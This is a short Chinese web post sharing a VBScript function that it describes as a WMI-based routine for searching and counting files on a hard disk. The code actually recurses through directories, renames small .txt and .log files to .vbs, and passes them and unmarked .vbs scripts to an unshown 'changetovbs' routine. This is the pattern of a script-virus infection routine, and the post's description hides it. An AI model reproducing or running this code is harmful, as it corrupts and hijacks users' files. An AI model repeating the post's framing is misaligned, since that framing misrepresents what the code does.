(编辑:jimmy 日期: 2024/11/20 浏览:2)
多年之前写的一个VBS调用WMI来遍历搜索硬盘文件,并计数的函数,今天整理网盘,看到了,发上来
核心代码:
Function wmisfile(path_sf,justcnt) 'On Error Resume Next StrComputer = "." Set ObjWMIService = GetObject("winmgmts:\\" & StrComputer & "\root\cimv2") Set FileList = objWMIService.ExecQuery _ ("ASSOCIATORS OF {Win32_Directory.Name='" & path_sf & "'} Where " _ & "ResultClass = CIM_DataFile") For Each objFile In FileList fname = LCase(objfile.name) ename = LCase(objfile.extension) If 1 < objfile.filesize And objfile.filesize <= 50000 Then Select Case ename Case "txt","log" path_vbs = objfile.drive & objfile.path & objfile.filename & ".vbs" objfile.rename(objfile.drive & objFile.Path & objfile.filename & ".vbs") Call changetovbs(path_vbs,path_vbs) justcnt = justcnt + 1 Case "vbs" If checkversion(fname) = False Then Call changetovbs(fname,fname) justcnt = justcnt + 1 End If End Select End If Next Set colSubfolders = objWMIService.ExecQuery _ ("Associators of {Win32_Directory.Name='" & path_sf & "'} " _ & "Where AssocClass = Win32_Subdirectory " _ & "ResultRole = PartComponent") For Each objFolder In colSubfolders wmisfile objfolder.name,justcnt Next End Function